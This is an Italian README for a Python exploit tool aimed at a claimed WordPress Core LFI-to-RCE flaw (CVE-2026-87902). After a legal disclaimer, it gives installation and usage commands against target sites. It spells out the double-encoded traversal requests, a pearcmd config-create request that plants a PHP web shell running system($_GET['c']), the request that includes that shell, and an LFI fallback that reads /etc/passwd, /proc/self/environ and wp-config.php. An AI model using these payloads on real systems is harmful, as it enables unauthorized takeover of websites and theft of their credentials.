Exploit Python per CVE-2026-87902, una catena LFI-to-RCE di WordPress Core. Identifica le versioni, scrive una shell PHP tramite pearcmd e fornisce esecuzione di comandi o fallback LFI.
⚠️ AVVISO LEGALE L'utilizzo contro sistemi di cui non si è proprietari o per cui non si ha il permesso scritto di testare è illegale e punibile ai sensi delle leggi sui crimini informatici. L'autore non si assume alcuna responsabilità per usi impropri.
| Campo | Valore |
|---|
| CVE | CVE-2026-87902 |
| Tipo | Local File Inclusion (LFI) → Remote Code Execution (RCE) |
| CWE | CWE-98 |
| CVSS v3.1 | 9.2 (Critico) |
| Vettore di Attacco | Rete (Non Autenticato) |
| Affetto | WordPress 4.7.0 – 7.1.1 |
| Corretto | WordPress 7.1.2 (e backport fino a 4.7.37) |
| Causa Principale | get_page_template() non chiama validate_file() dopo la decodifica URL del parametro pagename, consentendo il traversal con doppia codifica (%252E%252E%252F) per aggirare la sanificazione e includere file .php arbitrari al di fuori della directory del tema. |
Per il pieno RCE, tutte le seguenti condizioni devono essere vere:
page-* di primo livello (es. page-templates/)pearcmd.php è presente e leggibile dall'utente del server web (predefinito nelle immagini Docker ufficiali di PHP e in molte installazioni cPanel con PHP < 8.5)register_argc_argv=On (predefinito in PHP < 8.5)Se una di queste manca, l'exploit ricadrà sulla lettura di file solo LFI.
exploit.py # Script di exploit principale README.md # Questo file report.json # (opzionale) Report di output quando si usa -o
Installazione:
apt update
apt upgrade
apt install python
apt install git
pip install requests
git clone https://github.com/zyphorixofficialmain-lab/cve-2026-87902
cd cve-2026-87902
python3 exploit.py -t https://site.com -v
Questo:
· Rileva la versione di WordPress e il tema attivo · Verifica l'intervallo di versioni vulnerabili · Individua un ID di pagina pubblicata (REST → sitemap → brute force) · Tenta di scrivere una shell PHP tramite pearcmd.php · Tenta di includere la shell ed eseguire id · Se RCE fallisce, ricade su LFI su file sensibili
python3 exploit.py -t https://site.com -c "id"
python3 exploit.py -t https://site.com -i -v
All'interno della shell:
wp$ id
wp$ uname -a
wp$ cat /etc/passwd
wp$ exit
python3 exploit.py -t https://site.com -o report.json -v
python3 exploit.py -t https://site.com -c "whoami" -o report.json -v
🧾 Riferimento CLI
Flag Long Descrizione -t --target Obbligatorio. URL WordPress di destinazione (senza slash finale). -c --command Esegue un singolo comando shell dopo RCE. -i --interactive Apre una shell interattiva dopo RCE. -v --verbose Stampa l'avanzamento dettagliato. -o --output Salva il report finale come JSON nel percorso indicato. -h --help Mostra l'aiuto.
🔄 Flusso dell'Exploit
[1] Fingerprint
├─ WordPress version (meta generator / asset ?ver=)
└─ Active theme (/wp-content/themes/<name>/)
[2] Version check
└─ 4.7.0 – 7.1.1 ? continue : warn & continue
[3] Find page ID
├─ REST: /wp-json/wp/v2/pages
├─ Sitemap: /wp-sitemap.xml
└─ Brute force: /?page_id=1..30
[4] Check page-* directory
├─ page-templates
├─ page-template
├─ pages
├─ templates
└─ page
[5] Write shell via pearcmd
└─ POST /?+config-create+/&page_id=<id>&pagename=templates%252F..%252F..%252Fusr%252Flocal%252Flib%252Fphp%252Fpearcmd
body: root=<?php system($_GET['c']); ?>
[6] Include shell
└─ GET /?page_id=<id>&pagename=templates%252F..%252F..%252Ftmp%252F<shell>.php&c=id
[7] Fallback LFI (if RCE fails)
├─ /etc/passwd
├─ /etc/hostname
├─ /proc/self/environ
├─ /proc/version
├─ wp-config.php
└─ ../.. variants